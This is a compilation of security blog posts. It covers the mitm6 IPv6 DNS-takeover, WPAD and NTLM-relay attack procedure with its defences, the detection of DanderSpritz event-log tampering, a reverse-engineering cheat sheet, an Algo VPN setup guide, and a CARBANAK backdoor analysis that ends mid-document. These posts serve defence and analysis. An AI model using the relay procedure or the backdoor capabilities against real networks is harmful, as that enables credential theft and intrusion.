mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN. This limits the impact on the network as mitm6 does not attempt to man-in-the-middle all traffic in the network, but instead selectively spoofs hosts (the domain which is filtered on can be specified when running mitm6).

The screenshot below shows mitm6 in action. The tool automatically detects the IP configuration of the attacker machine and replies to DHCPv6 requests sent by clients in the network with a DHCPv6 reply containing the attacker’s IP as DNS server. Optionally it will periodically send Router Advertisment (RA) messages to alert client that there is an IPv6 network in place and that clients should request an IPv6 adddress via DHCPv6. This will in some cases speed up the attack but is not required for the attack to work, making it possible to execute this attack on networks that have protection against the SLAAC attack with features such as RA Guard.

mitm6_cropped

Attack phase 2 – DNS spoofing

On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred to the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

ipconfig_fixed

Now our next step is to get clients to connect to the attacker machine instead of the legitimate servers. Our end goal is getting the user or browser to automatically authenticate to the attacker machine, which is why we are spoofing URLs in the internal domain testsegment.local. On the screenshot in step 1 you see the client started requesting information about wpad.testsegment.local immediately after it was assigned an IPv6 address. This is the part we will be exploiting during this attack.

Exploiting WPAD

A (short) history of WPAD abuse

The Windows Proxy Auto Detection feature has been a much debated one, and one that has been abused by penetration testers for years. Its legitimate use is to automatically detect a network proxy used for connecting to the internet in corporate environments. Historically, the address of the server providing the wpad.dat file (which provides this information) would be resolved using DNS, and if no entry was returned, the address would be resolved via insecure broadcast protocols such as Link-Local Multicast Name Resolution (LLMNR). An attacker could reply to these broadcast name resolution protocols, pretend the WPAD file was located on the attackers server, and then prompt for authentication to access the WPAD file. This authentication was provided by default by Windows without requiring user interaction. This could provide the attacker with NTLM credentials from the user logged in on that computer, which could be used to authenticate to services in a process called NTLM relaying.

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:
– The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
– Authentication does not occur automatically anymore even if this is requested by the server.

While it is common to encounter machines in networks that are not fully patched and are still displaying the old behaviour of requesting WPAD via LLMNR and automatically authenticating, we come across more and more companies where exploiting WPAD the old-fashioned way does not work anymore.

Exploiting WPAD post MS16-077

The first protection, where WPAD is only requested via DNS, can be easily bypassed with mitm6. As soon as the victim machine has set the attacker as IPv6 DNS server, it will start querying for the WPAD configuration of the network. Since these DNS queries are sent to the attacker, it can just reply with its own IP address (either IPv4 or IPv6 depending on what the victim’s machine asks for). This also works if the organization is already using a WPAD file (though in this case it will break any connections from reaching the internet).

To bypass the second protection, where credentials are no longer provided by default, we need to do a little more work. When the victim requests a WPAD file we won’t request authentication, but instead provide it with a valid WPAD file where the attacker’s machine is set as a proxy. When the victim now runs any application that uses the Windows API to connect to the internet or simply starts browsing the web, it will use the attackers machine as a proxy. This works in Edge, Internet Explorer, Firefox and Chrome, since they all respect the WPAD system settings by default.
Now when the victim connects to our “proxy” server, which we can identify by the use of the CONNECT HTTP verb, or the presence of a full URI after the GET verb, we reply with a HTTP 407 Proxy Authentication required. This is different from the HTTP code normally used to request authentication, HTTP 401.
IE/Edge and Chrome (which uses IEs settings) will automatically authenticate to the proxy, even on the latest Windows versions. In Firefox this setting can be configured, but it is enabled by default.

auth-proxies_fixed

Windows will now happily send the NTLM challenge/response to the attacker, who can relay it to different services. With this relaying attack, the attacker can authenticate as the victim on services, access information on websites and shares, and if the victim has enough privileges, the attacker can even execute code on computers or even take over the entire Windows Domain. Some of the possibilities of NTLM relaying were explained in one of our previous blogs, which can be found here.

The full attack

The previous sections described the global idea behind the attack. Running the attack itself is quite straightforward. First we start mitm6, which will start replying to DHCPv6 requests and afterwards to DNS queries requesting names in the internal network. For the second part of our attack, we use our favorite relaying tool, ntlmrelayx. This tool is part of the impacket Python library by Core Security and is an improvement on the well-known smbrelayx tool, supporting several protocols to relay to. Core Security and Fox-IT recently worked together on improving ntlmrelayx, adding several new features which (among others) enable it to relay via IPv6, serve the WPAD file, automatically detect proxy requests and prompt the victim for the correct authentication. If you want to check out some of the new features, have a look at the relay-experimental branch.

To serve the WPAD file, all we need to add to the command prompt is the host is the -wh parameter and with it specify the host that the WPAD file resides on. Since mitm6 gives us control over the DNS, any non-existing hostname in the victim network will do. To make sure ntlmrelayx listens on both IPv4 and IPv6, use the -6 parameter. The screenshots below show both tools in action, mitm6 selectively spoofing DNS replies and ntlmrelayx serving the WPAD file and then relaying authentication to other servers in the network.

ntlmrelay_finalmitm6_cropped

Defenses and mitigations

The only defense against this attack that we are currently aware of is disabling IPv6 if it is not used on your internal network. This will stop Windows clients querying for a DHCPv6 server and make it impossible to take over the DNS server with the above described method.
For the WPAD exploit, the best solution is to disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC url instead of relying on WPAD to detect it automatically.
While writing this blog, Google Project Zero also discovered vulnerabilities in WPAD, and their blog post mentions that disabling the WinHttpAutoProxySvc is the only reliable way that in their experience disabled WPAD.

Lastly, the only complete solution to prevent NTLM relaying is to disable it entirely and switch to Kerberos. If this is not possible, our last blog post on NTLM relaying mentions several mitigations to minimize the risk of relaying attacks.

Detection

The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6:

Where to get the tools

mitm6 is available from the Fox-IT GitHub. The updated version of ntlmrelayx is available from the impacket repository.

Detection and recovery of NSA’s covered up tracks

Part of the NSA cyber weapon framework DanderSpritz is eventlogedit, a piece of software capable of removing individual lines from Windows Event Log files. Now that this tool is leaked and public, any criminal willing to remove its traces on a hacked computer can use it. Fox-IT has looked at the software and found a unique way to detect the use of it and to recover the removed event log entries.

Introduction

A group known as The Shadow Brokers published a collection of software, which allegedly was part of the cyber weapon arsenal of the NSA. Part of the published software was the exploitation framework FuzzBunch and post-exploitation framework DanderSpritz. DanderSpritz is a full-blown command and control server, or listening post in NSA terms. It can be used to stealthy perform various actions on hacked computers, like finding and exfiltrating data or move laterally through the target network. Its GUI is built on Java and contains plugins written in Python. The plugins contain functionality in the framework to perform specific actions on the target machine. One specific plugin in DanderSpritz caught the eye of the Forensics & Incident Response team at Fox-IT: eventlogedit.

DanderSpritz with eventlogedit in action

Figure 1: DanderSpritz with eventlogedit in action

eventlogedit

Normally, the content of Windows Event Log files is useful for system administrators troubleshooting system performance, security teams monitoring for incidents, and forensic and incident response teams investigating a breach or fraud case. A single event record can alert the security team or be the smoking gun during an investigation. Various other artefacts found on the target system usually corroborate findings in Windows Event Log files during an investigation, but a missing event record could reduce the chances of detection of an attack, or impede investigation.

Fox-IT has encountered event log editing by attackers before, but eventlogedit appeared to be more sophisticated. Investigative methods able to spot other methods of event log manipulation were not able to show indicators of edited log files after the use of eventlogedit. Using eventlogedit, an attacker is able to remove individual event log entries from the Security, Application and System log on a target Windows system. After forensic analysis of systems where eventlogedit was used, the Forensics & Incident Response team of Fox-IT was able to create a Python script to detect the use of eventlogedit and fully recover the removed event log entries by the attacker.

Analysing recovered event records, deleted by an attacker, gives great insight into what an attacker wanted to hide and ultimately wanted to achieve. This provides security and response teams with more prevention and detection possibilities, and investigative leads during an investigation.

Before (back) and after (front) eventlogedit

Figure 2: Before (back) and after (front) eventlogedit

eventlogedit in use

Starting with Windows Vista, Windows Event Log files are stored in the Windows XML Eventlog format. The files on the disk have the file extension .evtx and are stored in the folder \Windows\System32\winevt\Logs\ on the system disk, by default. The file structure consists of a file header followed by one or more chunks. A chunk itself starts with a header followed by one or more individual event records. The event record starts with a signature, followed by record size, record number, timestamp, the actual event message, and the record size once again. The event message is encoded in a proprietary binary XML format, binXml. BinXml is a token representation of text XML.

Fox-IT discovered that when eventlogedit is used, the to-be-removed event record itself isn’t edited or removed at all: the record is only unreferenced. This is achieved by manipulation of the record header of the preceding record. Eventlogedit adds the size of the to-be-removed-record to the size of the previous record, thereby merging the two records. The removed record including its record header is now simply seen as excess data of the preceding record. In Figure 3 this is illustrated. You might think that an event viewer would show this excess or garbage data, but no. Apparently, all tested viewers parse the record binXml message data until the first end-tag and then move on to the next record. Tested viewers include Windows Event Viewer as well as various other forensic event log viewers and parsers. None of them was able to show a removed record.

Untouched event records (left) and deleted event record (right)

Figure 3: Untouched event records (left) and deleted event record (right). Note: not all field are displayed here.

Merely changing the record size would not be enough to prevent detection: various fields in the file and chunk header need to be changed. Eventlogedit makes sure that all following event records numbers are renumbered and that checksums are recalculated in both the file and chunk header. Doing so, it makes sure that obvious anomalies like missing record numbers or checksum errors are prevented and will not raise an alarm at the system user, or the security department.

Organizations which send event log records on the fly to a central log server (e.g. a SIEM), should be able to see the removed record on their server. However, an advanced attacker will most likely compromise the log server before continuing the operation on the target computer.

Recovering removed records

As eventlogedit leaves the removed record and record header in its original state, their content can be recovered. This allows the full recovery of all the data that was originally in the record, including record number, event id, timestamps, and event message.

Fox-IT’s Forensics & Incident Response department has created a Python script that finds and exports any removed event log records from an event log file. This script also works in the scenario when consecutive event records have been removed, when the first record of the file is removed, or the first record of a chunk is removed. In Figure 4 an example is shown.

Recovering removed event records

Figure 4: Recovering removed event records

We have decided to open source the script. It can be found on our GitHub and works like this:

$ python danderspritz_evtx.py -h
usage: danderspritz_evtx.py [-h] -i INPUT_PATH [-o OUTPUT_PATH]
 [-e EXPORT_PATH]

danderspritz_evtx.py - Parse evtx files and detect the use of the danderspritz
module that deletes evtx entries

optional arguments:
 -h, --help show this help message and exit
 -i INPUT_PATH, --input INPUT_PATH
 Path to evtx file
 -o OUTPUT_PATH, --output OUTPUT_PATH
 Path to corrected evtx file
 -e EXPORT_PATH, --export EXPORT_PATH
 Path to location to store exported xml records

The script requires the python-evtx library from Willi Ballenthin.

Additionally, we have created an easy to use standalone executable for Windows systems which can be found on our GitHub as well.

Danderspritz_evtx.exe

Hashes:
md5    c07f6a5b27e6db7b43a84c724a2f61be 
sha1   6d10d80cb8643d780d0f1fa84891a2447f34627c
sha256 6c0f3cd832871ba4eb0ac93e241811fd982f1804d8009d1e50af948858d75f6b

 

Recommendations

To detect if the NSA or someone else has used this to cover up his tracks using the eventlogedit tool on your systems, it is recommended to use the script on event log files from your Windows servers and computers. As the NSA very likely changed their tools after the leaks, it might be farfetched to detect their current operations with this script. But you might find traces of it in older event log files. It is recommended to run the script on archived event log files from back-ups or central log servers.

If you find traces of eventlogedit, and would like assistance in analysis and remediation for a possible breach, feel free to contact us. Our Forensics & Incident Response department during business hours or FoxCERT 24/7.

Wouter Jansen
Fox-IT Forensics & Incident Response

Hybrid Analysis Grows Up – Acquired by CrowdStrike

CrowdStrike acquired Payload Security, the company behind the automated malware analysis sandbox technology Hybrid Analysis, in November 2017. Jan Miller founded Payload Security approximately 3 years earlier. The interview I conducted with Jan in early 2015 captured his mindset at the onset of the journey that led to this milestone. I briefly spoke with Jan again, a few days after the acquisition. He reflected upon his progress over the three years of leading Payload Security so far and his plans for Hybrid Analysis as part of CrowdStrike.

Jan, why did you and your team decide to join CrowdStrike?

Developing a malware analysis product requires a constant stream of improvements to the technology, not only to keep up with the pace of malware authors’ attempts to evade automated analysis but also innovate and embrace the community. The team has accomplished a lot thus far, but joining CrowdStrike gives us the ability to access a lot more resources and grow the team to rapidly improve Hybrid Analysis in the competitive space that we live in. We will have the ability to bring more people into the team and also enhance and grow the infrastructure and integrations behind the free Hybrid Analysis community platform.

What role did the free version of your product, available at hybrid-analysis.com, play in the company’s evolution?

A lot of people in the community have been using the free version of Hybrid Analysis to analyze their own malware samples, share them with friends or to look-up existing analysis reports and extract intelligence. Today, the site has approximately 44,000 active users and around 1 million sessions per month. One of the reasons the site took off is the simplicity and quality of the reports, focusing on what matters and enabling effective incident response.

The success of Hybrid Analysis was, to a large extent, due to the engagement from the community. The samples we have been receiving allowed us to constantly field-test the system against the latest malware, stay on top of the game and also to embrace feedback from security professionals. This allowed us to keep improving at rapid pace in a competitive space, successfully.

What will happen to the free version of Hybrid Analysis? I saw on Twitter that your team pinky-promised to continue making it available for free to the community, but I was hoping you could comment further on this.

I’m personally committed to ensuring that the community platform will stay not only free, but grow even more useful and offer new capabilities shortly. Hybrid Analysis deserves to be the place for professionals to get a reasoned opinion about any binary they’ve encountered. We plan to open up the API, add more integrations and other free capabilities in the near future.

What stands out in your mind as you reflect upon your Hybrid Analysis journey so far? What’s motivating you to move forward?

Starting out without any noteworthy funding, co-founders or advisors, in a saturated high-tech market that is extremely fast paced and full of money, it seemed impossible to succeed on paper. But the reality is: if you are offering a product or service that is solving a real-world problem considerably better than the market leaders, you always have a chance. My hope is that people who are considering becoming entrepreneurs will be encouraged to pursue their ideas, but be prepared to work 80 hours a week, have the right technology, the feedback from the community, amazing team members and lean on insightful advisors and you can make it happen.

In fact, it’s because of the value Hybrid Analysis has been adding to the community that I was able to attract the highly talented individuals that are currently on the team. It has always been important for me to make a difference, to contribute something and have a true impact on people’s lives. It all boils down to bringing more light than darkness into the world, as cheesy as that might sound.

Tips for Reverse-Engineering Malicious Code

This cheat sheet outlines tips for reversing malicious Windows executables via static and dynamic code analysis with the help of a debugger and a disassembler. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs.

Overview of the Code Analysis Process

  1. Examine static properties of the Windows executable for initial assessment and triage.
  2. Identify strings and API calls that highlight the program’s suspicious or malicious capabilities.
  3. Perform automated and manual behavioral analysis to gather additional details.
  4. If relevant, supplement our understanding by using memory forensics techniques.
  5. Use a disassembler for static analysis to examine code that references risky strings and API calls.
  6. Use a debugger for dynamic analysis to examine how risky strings and API calls are used.
  7. If appropriate, unpack the code and its artifacts.
  8. As your understanding of the code increases, add comments, labels; rename functions, variables.
  9. Progress to examine the code that references or depends upon the code you’ve already analyzed.
  10. Repeat steps 5-9 above as necessary (the order may vary) until analysis objectives are met.

Common 32-Bit Registers and Uses

EAX Addition, multiplication, function results
ECX Counter; used by LOOP and others
EBP Baseline/frame pointer for referencing function arguments (EBP+value) and local variables (EBP-value)
ESP Points to the current “top” of the stack; changes via PUSH, POP, and others
EIP Instruction pointer; points to the next instruction; shellcode gets it via call/pop
EFLAGS Contains flags that store outcomes of computations (e.g., Zero and Carry flags)
FS F segment register; FS[0] points to SEH chain, FS[0x30] points to the PEB.

Common x86 Assembly Instructions

mov EAX,0xB8 Put the value 0xB8 in EAX.
push EAX Put EAX contents on the stack.
pop EAX Remove contents from top of the stack and put them in EAX .
lea EAX,[EBP-4] Put the address of variable EBP-4 in EAX.
call EAX Call the function whose address resides in the EAX register.
add esp,8 Increase ESP by 8 to shrink the stack by two 4-byte arguments.
sub esp,0x54 Shift ESP by 0x54 to make room on the stack for local variable(s).
xor EAX,EAX Set EAX contents to zero.
test EAX,EAX Check whether EAX contains zero, set the appropriate EFLAGS bits.
cmp EAX,0xB8 Compare EAX to 0xB8, set the appropriate EFLAGS bits.

Understanding 64-Bit Registers

  • EAX→RAX, ECX→RCX, EBX→RBX, ESP→RSP, EIP→RIP
  • Additional 64-bit registers are R8-R15.
  • RSP is often used to access stack arguments and local variables, instead of EBP.
  • |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| R8 (64 bits)
    ________________________________|||||||||||||||||||||||||||||||| R8D (32 bits)
    ________________________________________________|||||||||||||||| R8W (16 bits)
    ________________________________________________________|||||||| R8B (8 bits)

Passing Parameters to Functions

arg0 [EBP+8] on 32-bit, RCX on 64-bit
arg1 [EBP+0xC] on 32-bit, RDX on 64-bit
arg2 [EBP+0x10] on 32-bit, R8 on 64-bit
arg3 [EBP+14] on 32-bit, R9 on 64-bit

Decoding Conditional Jumps

JA / JG Jump if above/jump if greater.
JB / JL Jump if below/jump if less.
JE / JZ Jump if equal; same as jump if zero.
JNE / JNZ Jump if not equal; same as jump if not zero.
JGE/ JNL Jump if greater or equal; same as jump if not less.

Some Risky Windows API Calls

  • Code injection: CreateRemoteThread, OpenProcess, VirtualAllocEx, WriteProcessMemory, EnumProcesses
  • Dynamic DLL loading: LoadLibrary, GetProcAddress
  • Memory scraping: CreateToolhelp32Snapshot, OpenProcess, ReadProcessMemory, EnumProcesses
  • Data stealing: GetClipboardData, GetWindowText
  • Keylogging: GetAsyncKeyState, SetWindowsHookEx
  • Embedded resources: FindResource, LockResource
  • Unpacking/self-injection: VirtualAlloc, VirtualProtect
  • Query artifacts: CreateMutex, CreateFile, FindWindow, GetModuleHandle, RegOpenKeyEx
  • Execute a program: WinExec, ShellExecute, CreateProcess
  • Web interactions: InternetOpen, HttpOpenRequest, HttpSendRequest, InternetReadFile

Additional Code Analysis Tips

  • Be patient but persistent; focus on small, manageable code areas and expand from there.
  • Use dynamic code analysis (debugging) for code that’s too difficult to understand statically.
  • Look at jumps and calls to assess how the specimen flows from “interesting” code block to the other.
  • If code analysis is taking too long, consider whether behavioral or memory analysis will achieve the goals.
  • When looking for API calls, know the official API names and the associated native APIs (Nt, Zw, Rtl).

Post-Scriptum

Authored by Lenny Zeltser with feedback from Anuj Soni. Malicious code analysis and related topics are covered in the SANS Institute course FOR610: Reverse-Engineering Malware, which they’ve co-authored. This cheat sheet, version 1.0, is released under the Creative Commons v3 “Attribution” License.

How to Deploy Your Own Algo VPN Server in the DigitalOcean Cloud

When analyzing malware or performing other security research, it’s often useful to tunnel connections through a VPN in a public cloud. This approach helps conceal the analyst’s origin, contributing to OPSEC when interacting with malicious infrastructure. Moreover, by using VPN exit nodes in different cities and even countries, the researcher can explore the target from multiple geographic vantage points, which sometimes yields additional findings.

One way to accomplish this is to set up your own VPN server in a public cloud, as an alternative to relying on a commercial VPN service. The following tutorial explains how to deploy the Algo VPN software bundle on DigitalOcean (the link includes my referral code). I like using DigitalOcean for this purpose because it offers virtual private server instances for as little as $5 per month; also, I find it easier to use than AWS.

Algo VPN Overview

Algo is an open source software bundle designed for self-hosted IPSec VPN services. It was designed by the folks at Trail of Bits to be easy to deploy, rely only on modern protocols and ciphers and provide reasonable security defaults. Also, it doesn’t require dedicated VPN client software for connecting from most systems and devices, because of native IPSec support.

To understand why its creators believe Algo is a better alternative to commercial VPNs, the Streisand VPN bundle and OpenVPN, read the blog post that announced Algo’s initial release.  As outlined in the post, Algo is meant “to be easy to set up. That way, you start it when you need it, and tear it down before anyone can figure out the service you’re routing your traffic through.”

Creating a DigitalOcean Virtual Private Server

To obtain an Internet-accessible system where you’ll install Algo VPN server software, you can create a “droplet” on DigitalOcean running Ubuntu 16.04 with a few clicks.

Accepting default options for the droplet should be OK in most cases. If you’re not planning to tunnel a lot of traffic through the system, selecting the least expensive size will probably suffice. Select the geographic region where the Virtual Private Server will run based on your requirements. Assign a hostname that appeals to you.

Once the new host is active, make a note of the public IP address that DigitalOccean assigns to it and log into it using SSH. Then run the following commands inside the new virtual private server to update its OS and install Algo VPN core prerequisites:

apt-add-repository -y ppa:ansible/ansible
apt-get update -y
apt-get upgrade -y
apt-get install -y build-essential \
  libssl-dev \
  libffi-dev \
  python-dev \
  python-pip \
  python-setuptools \
  python-virtualenv

At this point you could harden the configuration of the virtual private server, but these steps are outside the scope of this guide.

Installing Algo VPN Server Software

Next, obtain the latest Algo VPN server software on the newly-setup droplet and prepare for the installation by executing the following commands:

git clone https://github.com/trailofbits/algo
cd algo
python -m virtualenv env
source env/bin/activate
python -m pip install -U pip
python -m pip install -r requirements.txt

Set up the username for the people who will be using the VPN. To accomplish this, use your favorite text editor, such as Nano or Vim to edit the config.cfg file in the ~/algo directory:

vim config.cfg

Remove the lines that represent the default users “dan” and “jack” and add your own (e.g., “john”), so that the corresponding section of the file looks like this:

users:
 - john

After saving the file and exiting the text editor, execute the following command in the ~/algo directory to install Algo software:

./algo

When prompted by the installer, select the option to install “to existing Ubuntu 16.04 server”.

When proceeding with the installer, you should be OK  in most cases by accepting default answers with a few exceptions:

  • When asked about the public IP address of the server, enter the IP address assigned to the virtual private server by DigitalOcean when you created the droplet.
  • If planning to VPN from Windows 10 or Linux desktop client systems, answer “Y” to the corresponding question.

After providing the answers, give the installer a few minutes to complete its tasks. (Be patient.) Once it finishes, you’ll see the “Congratulations!” message, stating that your Algo server is running.

Be sure to capture the “p12 and SSH keys password for new users” that the installer will display at the end as part of the congratulatory message, because you might need to use it later.

Configuring VPN Clients

Once you’ve set up the Alog VPN service, follow the instructions on the Algo website to configure your VPN client. The steps are different for each OS. Fortunately, the Algo setup process generates files that allow you to accomplish this with relative ease. It stores the files in under ~/algo/configs in a subdirectory whose name matches your server’s IP address.

For instance, to configure your iOS device, transfer your user’s Apple Profile file that has the .mobileconfig extension (e.g., john.mobileconfig) to the device, then open the file to install it. Once this is done, you can go to Settings > VPN on your iOS device to enable the VPN when you wish to use it. If at some point you wish to delete this VPN profile, go to General > Profile.

If setting up the VPN client on Windows 10, retrieve from the Algo server your user’s file with the .ps1 extension (e.g., windows_john.ps1). Then, open the Administrator shell on the Windows system and execute the following command from the folder where you’ve placed these files, adjusting the file name to match your name:

powershell -ExecutionPolicy ByPass -File windows_john.ps1 -Add

When prompted, supply the  p12 password that the Algo installer displayed at the end of the installation. This will import the appropriate certificate information and create the VPN connection entry. To connect to the VPN server, go to Settings > Network & Internet > VPN. If you wish to remove the VPN entry, use the PowerShell command above, replacing “-Add” with “-Remove”.

Additional Considerations for Algo VPN

Before relying on VPN to safeguard your interactions with malicious infrastructure, be sure to confirm that it’s concealing the necessary aspects of your origin. If it’s working properly, the remote host should see the IP address of your VPN servers, instead of the IP address of your VPN client. Similarly, your DNS traffic should be getting directed through the VPN tunnel, concealing your client’s locally-configured DNS server. One way to validate this is to use whoer.net, comparing what information the site reveals before and after you activate your VPN connection. Also, confirm that you’re not leaking your origin over IPv6; one way to do that is by connecting to ipv6leak.com.

You can turn off the virtual private server when you don’t need it. When you boot it up again, Algo VPN software will automatically launch in the background. If running the server for longer periods of time, you should implement security measures necessary appropriate for Internet-connected infrastructure.

As you use your Algo VPN server, adversaries might begin tracking the server’s IP address and eventually blacklist it. Therefore, it’s a good idea to periodically destroy this DigitalOcean droplet and create a new one from scratch. This will not only change the server’s IP address, but also ensure that you’re running the latest version of VPN software and its dependencies. Unfortunately, after you do this, you’ll need to reimport VPN client profiles to match the new server’s IP address and certificate details.

Behind the CARBANAK Backdoor

In this blog, we will take a closer look at the powerful, versatile backdoor known as CARBANAK (aka Anunak). Specifically, we will focus on the operational details of its use over the past few years, including its configuration, the minor variations observed from sample to sample, and its evolution. With these details, we will then draw some conclusions about the operators of CARBANAK. For some additional background on the CARBANAK backdoor, see the papers by Kaspersky and Group-IB and Fox-It.

Technical Analysis

Before we dive into the meat of this blog, a brief technical analysis of the backdoor is necessary to provide some context. CARBANAK is a full-featured backdoor with data-stealing capabilities and a plugin architecture. Some of its capabilities include key logging, desktop video capture, VNC, HTTP form grabbing, file system management, file transfer, TCP tunneling, HTTP proxy, OS destruction, POS and Outlook data theft and reverse shell. Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time.

Monitoring Threads

The backdoor may optionally start one or more threads that perform continuous monitoring for various purposes, as described in Table 1.  

Thread Name

Description

Key logger

Logs key strokes for configured processes and sends them to the command and control (C2) server

Form grabber

Monitors HTTP traffic for form data and sends it to the C2 server

POS monitor

Monitors for changes to logs stored in C:\NSB\Coalition\Logs and nsb.pos.client.log and sends parsed data to the C2 server

PST monitor

Searches recursively for newly created Outlook personal storage table (PST) files within user directories and sends them to the C2 server

HTTP proxy monitor

Monitors HTTP traffic for requests sent to HTTP proxies, saves the proxy address and credentials for future use

Table 1: Monitoring threads

Commands

In addition to its file management capabilities, this data-stealing backdoor supports 34 commands that can be received from the C2 server. After decryption, these 34 commands are plain text with parameters that are space delimited much like a command line. The command and parameter names are hashed before being compared by the binary, making it difficult to recover the original names of commands and parameters. Table 2 lists these commands.

Command Hash

Command Name

Description

0x0AA37987

loadconfig

Runs each command specified in the configuration file (see the Configuration section).

0x007AA8A5

state

Updates the state value (see the Configuration section).

0x007CFABF

video

Desktop video recording

0x06E533C4

download

Downloads executable and injects into new process

0x00684509

ammyy

Ammyy Admin tool

0x07C6A8A5

update

Updates self

0x0B22A5A7

 

Add/Update klgconfig (analysis incomplete)

0x0B77F949

httpproxy

Starts HTTP proxy

0x07203363

killos

Renders computer unbootable by wiping the MBR

0x078B9664

reboot

Reboots the operating system

0x07BC54BC

tunnel

Creates a network tunnel

0x07B40571

adminka

Adds new C2 server or proxy address for pseudo-HTTP protocol

0x079C9CC2

server

Adds new C2 server for custom binary protocol

0x0007C9C2

user

Creates or deletes Windows user account

0x000078B0

rdp

Enables concurrent RDP (analysis incomplete)

0x079BAC85

secure

Adds Notification Package (analysis incomplete)

0x00006ABC

del

Deletes file or service

0x0A89AF94

startcmd

Adds command to the configuration file (see the Configuration section)

0x079C53BD

runmem

Downloads executable and injects directly into new process

0x0F4C3903

logonpasswords

Send Windows accounts details to the C2 server

0x0BC205E4

screenshot

Takes a screenshot of the desktop and sends it to the C2 server

0x007A2BC0

sleep

Backdoor sleeps until specified date

0x0006BC6C

dupl

Unknown

0x04ACAFC3

 

Upload files to the C2 server

0x00007D43

vnc

Runs VNC plugin

0x09C4D055

runfile

Runs specified executable file

0x02032914

killbot

Uninstalls backdoor

0x08069613

listprocess

Returns list of running processes to the C2 server

0x073BE023

plugins

Change C2 protocol used by plugins

0x0B0603B4

 

Download and execute shellcode from specified address

0x0B079F93

killprocess

Terminates the first process found specified by name

0x00006A34

cmd

Initiates a reverse shell to the C2 server

0x09C573C7

runplug

Plugin control

0x08CB69DE

autorun

Updates backdoor

Table 2: Supported Commands

Configuration

A configuration file resides in a file under the backdoor’s installation directory with the .bin extension. It contains commands in the same form as those listed in Table 2 that are automatically executed by the backdoor when it is started. These commands are also executed when the loadconfig command is issued. This file can be likened to a startup script for the backdoor. The state command sets a global variable containing a series of Boolean values represented as ASCII values ‘0’ or ‘1’ and also adds itself to the configuration file. Some of these values indicate which C2 protocol to use, whether the backdoor has been installed, and whether the PST monitoring thread is running or not. Other than the state command, all commands in the configuration file are identified by their hash’s decimal value instead of their plain text name. Certain commands, when executed, add themselves to the configuration so they will persist across (or be part of) reboots. The loadconfig and state commands are executed during initialization, effectively creating the configuration file if it does not exist and writing the state command to it.

Figure 1 and Figure 2 illustrate some sample, decoded configuration files we have come across in our investigations.

Figure 1: Configuration file that adds new C2 server and forces the data-stealing backdoor to use it

Figure 2: Configuration file that adds TCP tunnels and records desktop video

Command and Control

CARBANAK communicates to its C2 servers via pseudo-HTTP or a custom binary protocol.

Pseudo-HTTP Protocol

Messages for the pseudo-HTTP protocol are delimited with the ‘|’ character. A message starts with a host ID composed by concatenating a hash value generated from the computer’s hostname and MAC address to a string likely used as a campaign code. Once the message has been formatted, it is sandwiched between an additional two fields of randomly generated strings of upper and lower case alphabet characters. An example of a command polling message and a response to the listprocess command are given in Figure 3 and Figure 4, respectively.

Figure 3: Example command polling message

Figure 4: Example command response message

Messages are encrypted using Microsoft’s implementation of RC2 in CBC mode with PKCS#5 padding. The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively. The eight-byte initialization vector (IV) is a randomly generated string consisting of upper and lower case alphabet characters. It is prepended to the encrypted and encoded message.

The encoded payload is then made to look like a URI by having a random number of ‘/’ characters inserted at random locations within the encoded payload. The malware then appends a script extension (php, bml, or cgi) with a random number of random parameters or a file extension from the following list with no parameters: gif, jpg, png, htm, html, php.

This URI is then used in a GET or POST request. The body of the POST request may contain files contained in the cabinet format. A sample GET request is shown in Figure 5.

Figure 5: Sample pseudo-HTTP beacon

The pseudo-HTTP protocol uses any proxies discovered by the HTTP proxy monitoring thread or added by the adminka command. The backdoor also searches for proxy configurations to use in the registry at HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings and for each profile in the Mozilla Firefox configuration file at %AppData%\Mozilla\Firefox\<ProfileName>\prefs.js.

Custom Binary Protocol

Figure 6 describes the structure of the malware’s custom binary protocol. If a message is larger than 150 bytes, it is compressed with an unidentified algorithm. If a message is larger than 4096 bytes, it is broken into compressed chunks. This protocol has undergone several changes over the years, each version building upon the previous version in some way. These changes were likely introduced to render existing network signatures ineffective and to make signature creation more difficult.

Figure 6: Binary protocol message format

Version 1

In the earliest version of the binary protocol, we have discovered that the message bodies that are stored in the <chunkData> field are simply XORed with the host ID. The initial message is not encrypted and contains the host ID.

Version 2

Rather than using the host ID as the key, this version uses a random XOR key between 32 and 64 bytes in length that is generated for each session. This key is sent in the initial message.

Version 3

Version 3 adds encryption to the headers. The first 19 bytes of the message headers (up to the <hdrXORKey2> field) are XORed with a five-byte key that is randomly generated per message and stored in the <hdrXORKey2> field. If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages.

Version 4

This version adds a bit more complexity to the header encryption scheme. The headers are XOR encrypted with <hdrXORKey1> and <hdrXORKey2> combined and reversed.

Version 5

Version 5 is the most sophisticated of the binary protocols we have seen. A 256-bit AES session key is generated and used to encrypt both message headers and bodies separately. Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm. All subsequent messages are encrypted with AES in CBC mode. The use of public key cryptography makes decryption of the session key infeasible without the C2 server’s private key.

The Roundup

We have rounded up 220 samples of the CARBANAK backdoor and compiled a table that highlights some interesting details that we were able to extract. It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind. The MD5 hash is for the original executable file that eventually launches CARBANAK, but the details of each sample were extracted from memory during execution. This data provides us with a unique insight into the operational aspect of CARBANAK and can be downloaded here.

Protocol Evolution

